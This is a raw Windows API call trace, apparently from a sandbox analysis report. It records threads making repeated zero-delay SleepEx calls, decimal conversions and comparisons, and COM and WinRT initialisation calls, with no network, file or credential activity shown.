[0126.528] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0126.530] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0126.539] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0126.540] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0126.541] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0126.542] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0126.544] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0127.167] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0127.168] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0127.168] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0127.169] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0127.169] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0127.170] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0127.170] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0127.171] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0127.171] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0127.172] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0127.172] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0127.172] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0127.173] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0127.174] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0127.174] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0127.175] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0127.176] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0127.176] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0127.181] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0127.181] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0127.182] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0127.182] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0127.183] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0127.183] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0127.184] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0127.825] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0127.830] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0127.839] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0127.846] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0127.847] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0127.863] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0127.870] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0127.870] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0127.871] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0127.871] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0127.872] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0127.873] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0127.873] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0127.874] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0127.874] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0127.874] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0127.875] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0127.875] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0127.876] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0127.876] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0127.877] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0127.877] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0127.878] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0127.879] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0127.879] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0127.880] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0127.881] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0127.885] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0127.910] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0127.920] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0127.926] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0127.949] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0127.963] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0127.972] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0127.980] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0127.981] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0127.989] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0128.011] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0128.012] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0128.012] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0128.013] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0128.013] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0128.014] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0128.014] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0128.015] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0128.015] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0128.016] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0128.016] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0128.017] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0128.017] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0130.724] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0130.803] VarR8FromDec (in: pdecIn=0x9c7ef7c, pdblOut=0x9c7ef68 | out: pdblOut=0x9c7ef68) returned 0x0 [0130.803] VarR8FromDec (in: pdecIn=0x9c7ef90, pdblOut=0x9c7ef7c | out: pdblOut=0x9c7ef7c) returned 0x0 [0130.803] VarR8FromDec (in: pdecIn=0x9c7ef7c, pdblOut=0x9c7ef68 | out: pdblOut=0x9c7ef68) returned 0x0 [0130.803] VarR8FromDec (in: pdecIn=0x9c7ef90, pdblOut=0x9c7ef7c | out: pdblOut=0x9c7ef7c) returned 0x0 [0130.803] VarR8FromDec (in: pdecIn=0x9c7ef7c, pdblOut=0x9c7ef68 | out: pdblOut=0x9c7ef68) returned 0x0 [0130.803] VarR8FromDec (in: pdecIn=0x9c7ef90, pdblOut=0x9c7ef7c | out: pdblOut=0x9c7ef7c) returned 0x0 [0130.803] VarR8FromDec (in: pdecIn=0x9c7ef7c, pdblOut=0x9c7ef68 | out: pdblOut=0x9c7ef68) returned 0x0 [0130.803] VarR8FromDec (in: pdecIn=0x9c7ef90, pdblOut=0x9c7ef7c | out: pdblOut=0x9c7ef7c) returned 0x0 [0130.803] VarR8FromDec (in: pdecIn=0x9c7ef7c, pdblOut=0x9c7ef68 | out: pdblOut=0x9c7ef68) returned 0x0 [0130.804] VarR8FromDec (in: pdecIn=0x9c7ef90, pdblOut=0x9c7ef7c | out: pdblOut=0x9c7ef7c) returned 0x0 [0130.804] VarR8FromDec (in: pdecIn=0x9c7ef7c, pdblOut=0x9c7ef68 | out: pdblOut=0x9c7ef68) returned 0x0 [0130.804] VarR8FromDec (in: pdecIn=0x9c7ef90, pdblOut=0x9c7ef7c | out: pdblOut=0x9c7ef7c) returned 0x0 [0130.804] VarR8FromDec (in: pdecIn=0x9c7ef7c, pdblOut=0x9c7ef68 | out: pdblOut=0x9c7ef68) returned 0x0 [0130.804] VarR8FromDec (in: pdecIn=0x9c7ef90, pdblOut=0x9c7ef7c | out: pdblOut=0x9c7ef7c) returned 0x0 [0130.804] VarR8FromDec (in: pdecIn=0x9c7ef7c, pdblOut=0x9c7ef68 | out: pdblOut=0x9c7ef68) returned 0x0 [0130.804] VarR8FromDec (in: pdecIn=0x9c7ef90, pdblOut=0x9c7ef7c | out: pdblOut=0x9c7ef7c) returned 0x0 [0130.804] VarR8FromDec (in: pdecIn=0x9c7ef7c, pdblOut=0x9c7ef68 | out: pdblOut=0x9c7ef68) returned 0x0 [0130.804] VarDecCmp (pdecLeft=0x9c7ee5c, pdecRight=0x9c7ee4c) returned 0x0 [0130.804] VarDecCmp (pdecLeft=0x9c7ee5c, pdecRight=0x9c7ee4c) returned 0x0 [0130.804] VarDecCmp (pdecLeft=0x9c7ee5c, pdecRight=0x9c7ee4c) returned 0x0 [0130.804] VarDecCmp (pdecLeft=0x9c7ee88, pdecRight=0x9c7ee78) returned 0x0 [0130.804] VarDecCmp (pdecLeft=0x9c7ee88, pdecRight=0x9c7ee78) returned 0x0 [0130.804] VarDecCmp (pdecLeft=0x9c7ee88, pdecRight=0x9c7ee78) returned 0x0 [0130.804] VarDecCmp (pdecLeft=0x9c7ee88, pdecRight=0x9c7ee78) returned 0x0 [0130.804] VarDecCmp (pdecLeft=0x9c7ee88, pdecRight=0x9c7ee78) returned 0x1 [0130.804] VarDecCmp (pdecLeft=0x9c7ee68, pdecRight=0x9c7ee58) returned 0x1 [0130.804] VarDecCmp (pdecLeft=0x9c7ee88, pdecRight=0x9c7ee78) returned 0x0 [0130.804] VarDecCmp (pdecLeft=0x9c7ee88, pdecRight=0x9c7ee78) returned 0x0 [0130.804] VarDecCmp (pdecLeft=0x9c7ee88, pdecRight=0x9c7ee78) returned 0x0 [0130.804] VarDecCmp (pdecLeft=0x9c7ee88, pdecRight=0x9c7ee78) returned 0x0 [0130.804] VarDecCmp (pdecLeft=0x9c7ee88, pdecRight=0x9c7ee78) returned 0x1 [0130.804] VarDecCmp (pdecLeft=0x9c7ee68, pdecRight=0x9c7ee58) returned 0x1 [0130.804] VarDecCmp (pdecLeft=0x9c7ee0c, pdecRight=0x9c7edfc) returned 0x0 [0130.804] VarDecCmp (pdecLeft=0x9c7ee0c, pdecRight=0x9c7edfc) returned 0x0 [0130.804] VarDecCmp (pdecLeft=0x9c7ee0c, pdecRight=0x9c7edfc) returned 0x0 [0130.804] VarDecCmp (pdecLeft=0x9c7ee38, pdecRight=0x9c7ee28) returned 0x0 [0130.804] VarDecCmp (pdecLeft=0x9c7ee38, pdecRight=0x9c7ee28) returned 0x1 [0130.804] VarDecCmp (pdecLeft=0x9c7ee18, pdecRight=0x9c7ee08) returned 0x1 [0130.804] VarDecCmp (pdecLeft=0x9c7ee38, pdecRight=0x9c7ee28) returned 0x0 [0130.804] VarDecCmp (pdecLeft=0x9c7ee38, pdecRight=0x9c7ee28) returned 0x0 [0130.804] VarDecCmp (pdecLeft=0x9c7ee38, pdecRight=0x9c7ee28) returned 0x1 [0130.804] VarDecCmp (pdecLeft=0x9c7ee18, pdecRight=0x9c7ee08) returned 0x1 [0130.804] VarDecCmp (pdecLeft=0x9c7ee0c, pdecRight=0x9c7edfc) returned 0x0 [0130.804] VarDecCmp (pdecLeft=0x9c7ee0c, pdecRight=0x9c7edfc) returned 0x0 [0130.804] VarDecCmp (pdecLeft=0x9c7ee38, pdecRight=0x9c7ee28) returned 0x1 [0130.804] VarDecCmp (pdecLeft=0x9c7ee18, pdecRight=0x9c7ee08) returned 0x1 [0130.805] VarDecCmp (pdecLeft=0x9c7ee38, pdecRight=0x9c7ee28) returned 0x0 [0130.805] VarDecCmp (pdecLeft=0x9c7ee38, pdecRight=0x9c7ee28) returned 0x1 [0130.805] VarDecCmp (pdecLeft=0x9c7ee18, pdecRight=0x9c7ee08) returned 0x1 [0130.805] VarDecCmp (pdecLeft=0x9c7ee5c, pdecRight=0x9c7ee4c) returned 0x0 [0130.805] VarDecCmp (pdecLeft=0x9c7ee5c, pdecRight=0x9c7ee4c) returned 0x0 [0130.805] VarDecCmp (pdecLeft=0x9c7ee5c, pdecRight=0x9c7ee4c) returned 0x0 [0130.805] VarDecCmp (pdecLeft=0x9c7ee88, pdecRight=0x9c7ee78) returned 0x0 [0130.805] VarDecCmp (pdecLeft=0x9c7ee88, pdecRight=0x9c7ee78) returned 0x1 [0130.805] VarDecCmp (pdecLeft=0x9c7ee68, pdecRight=0x9c7ee58) returned 0x1 [0130.805] VarDecCmp (pdecLeft=0x9c7ee88, pdecRight=0x9c7ee78) returned 0x0 [0130.805] VarDecCmp (pdecLeft=0x9c7ee88, pdecRight=0x9c7ee78) returned 0x0 [0130.805] VarDecCmp (pdecLeft=0x9c7ee88, pdecRight=0x9c7ee78) returned 0x1 [0130.805] VarDecCmp (pdecLeft=0x9c7ee68, pdecRight=0x9c7ee58) returned 0x1 [0130.805] VarDecCmp (pdecLeft=0x9c7ee5c, pdecRight=0x9c7ee4c) returned 0x0 [0130.805] VarDecCmp (pdecLeft=0x9c7ee5c, pdecRight=0x9c7ee4c) returned 0x0 [0130.805] VarDecCmp (pdecLeft=0x9c7ee88, pdecRight=0x9c7ee78) returned 0x1 [0130.805] VarDecCmp (pdecLeft=0x9c7ee68, pdecRight=0x9c7ee58) returned 0x1 [0130.805] VarDecCmp (pdecLeft=0x9c7ee88, pdecRight=0x9c7ee78) returned 0x0 [0130.805] VarDecCmp (pdecLeft=0x9c7ee88, pdecRight=0x9c7ee78) returned 0x1 [0130.805] VarDecCmp (pdecLeft=0x9c7ee68, pdecRight=0x9c7ee58) returned 0x1 [0130.805] VarDecCmp (pdecLeft=0x9c7ef38, pdecRight=0x9c7ef28) returned 0x0 [0130.805] VarDecCmp (pdecLeft=0x9c7ef18, pdecRight=0x9c7ef08) returned 0x2 [0130.805] VarDecCmp (pdecLeft=0x9c7ef38, pdecRight=0x9c7ef28) returned 0x0 [0130.805] VarDecCmp (pdecLeft=0x9c7ef18, pdecRight=0x9c7ef08) returned 0x2 [0130.805] VarDecCmp (pdecLeft=0x9c7ef38, pdecRight=0x9c7ef28) returned 0x0 [0130.805] VarDecCmp (pdecLeft=0x9c7ef18, pdecRight=0x9c7ef08) returned 0x2 [0130.805] VarDecCmp (pdecLeft=0x9c7ef38, pdecRight=0x9c7ef28) returned 0x0 [0130.805] VarDecCmp (pdecLeft=0x9c7ef18, pdecRight=0x9c7ef08) returned 0x2 [0130.805] VarDecCmp (pdecLeft=0x9c7ef38, pdecRight=0x9c7ef28) returned 0x0 [0130.805] VarDecCmp (pdecLeft=0x9c7ef18, pdecRight=0x9c7ef08) returned 0x2 [0130.805] VarDecCmp (pdecLeft=0x9c7ef38, pdecRight=0x9c7ef28) returned 0x0 [0130.805] VarDecCmp (pdecLeft=0x9c7ef18, pdecRight=0x9c7ef08) returned 0x2 [0130.805] VarDecCmp (pdecLeft=0x9c7ef38, pdecRight=0x9c7ef28) returned 0x0 [0130.805] VarDecCmp (pdecLeft=0x9c7ef18, pdecRight=0x9c7ef08) returned 0x2 [0130.805] VarDecCmp (pdecLeft=0x9c7ef38, pdecRight=0x9c7ef28) returned 0x0 [0130.805] VarDecCmp (pdecLeft=0x9c7ef18, pdecRight=0x9c7ef08) returned 0x2 [0130.805] VarDecCmp (pdecLeft=0x9c7ee7c, pdecRight=0x9c7ee6c) returned 0x1 [0130.805] VarDecCmp (pdecLeft=0x9c7edfc, pdecRight=0x9c7edec) returned 0x1 [0130.805] VarDecCmp (pdecLeft=0x9c7edfc, pdecRight=0x9c7edec) returned 0x1 [0130.806] VarDecCmp (pdecLeft=0x9c7edfc, pdecRight=0x9c7edec) returned 0x1 [0130.806] VarDecCmp (pdecLeft=0x9c7edfc, pdecRight=0x9c7edec) returned 0x1 [0130.806] VarDecCmp (pdecLeft=0x9c7edfc, pdecRight=0x9c7edec) returned 0x1 [0130.806] VarDecCmp (pdecLeft=0x9c7edfc, pdecRight=0x9c7edec) returned 0x1 [0130.806] VarDecCmp (pdecLeft=0x9c7edfc, pdecRight=0x9c7edec) returned 0x1 [0130.806] VarDecCmp (pdecLeft=0x9c7edfc, pdecRight=0x9c7edec) returned 0x1 [0130.806] VarDecCmp (pdecLeft=0x9c7edfc, pdecRight=0x9c7edec) returned 0x1 [0130.959] SleepEx (dwMilliseconds=0x5, bAlertable=0) returned 0x0 [0138.808] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0138.809] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0138.813] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0138.815] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0138.821] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0138.828] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0138.832] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0138.833] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0138.837] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0138.838] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0138.838] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0138.839] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0138.839] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0138.840] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0138.852] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0138.853] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0138.857] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0138.858] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0138.858] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0138.863] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0138.863] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0138.864] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0138.868] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0138.869] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0138.869] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0141.902] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0141.917] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0141.921] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0141.925] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0141.944] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0141.945] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0141.952] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0141.953] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0141.954] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0141.979] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0141.980] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0141.980] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0141.980] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0141.980] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0141.980] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0141.980] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0141.980] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0141.980] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0141.981] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0141.981] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0141.981] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0141.981] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0141.981] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0141.981] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0141.981] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 Thread: id = 29 os_tid = 0x910 Thread: id = 30 os_tid = 0x384 Thread: id = 31 os_tid = 0x378 [0106.095] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0 [0106.096] CoGetContextToken (in: pToken=0xa0efb04 | out: pToken=0xa0efb04) returned 0x0 [0106.096] CObjectContext::QueryInterface () returned 0x0 [0106.096] CObjectContext::GetCurrentThreadType () returned 0x0 [0106.096] Release () returned 0x0 [0106.096] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x1 [0106.096] CoUninitialize () [0106.096] RoInitialize () returned 0x1 [0106.096] RoUninitialize () returned 0x0 [0106.096] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0106.096] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0106.097] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0106.097] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0106.097] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0106.097] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0106.097] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0106.097] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0106.098] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0106.098] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0106.098] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0106.098] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0106.098] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0106.098] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0106.099] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0106.099] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0106.099] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0106.099] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0106.099] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0106.100] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0106.100] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0106.100] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0106.100] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0106.100] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0106.100] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0106.101] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0106.102] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0106.102] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0106.102] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0106.112] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0106.113] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0106.118] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0106.118] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0106.127] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0106.129] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0106.131] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0106.131] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0106.133] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0106.133] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0106.134] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0106.135] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0106.135] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0106.136] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0106.136] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0106.143] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0106.143] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0106.147] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0106.147] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0106.148] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0106.149] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0113.914] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0113.917] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0113.917] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0113.917] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0113.917] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0113.917] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0113.917] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0113.917] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0113.917] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0113.917] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0113.917] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0113.917] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0113.917] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0113.917] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0113.917] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0113.917] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0113.918] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0113.918] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0113.918] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0113.918] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0113.918] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0113.918] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0113.918] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0113.918] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0113.918] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0113.918] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0113.918] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0113.918] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0113.918] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0113.918] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0113.918] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0113.918] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0113.918] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0113.918] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0113.918] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0113.918] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0113.918] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0113.919] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0113.919] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0113.919] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0113.919] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0113.919] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0113.919] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0113.919] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0113.919] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0113.919] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0113.919] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0113.919] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0113.919] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0113.919] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0114.213] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0114.217] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0114.225] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0114.225] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 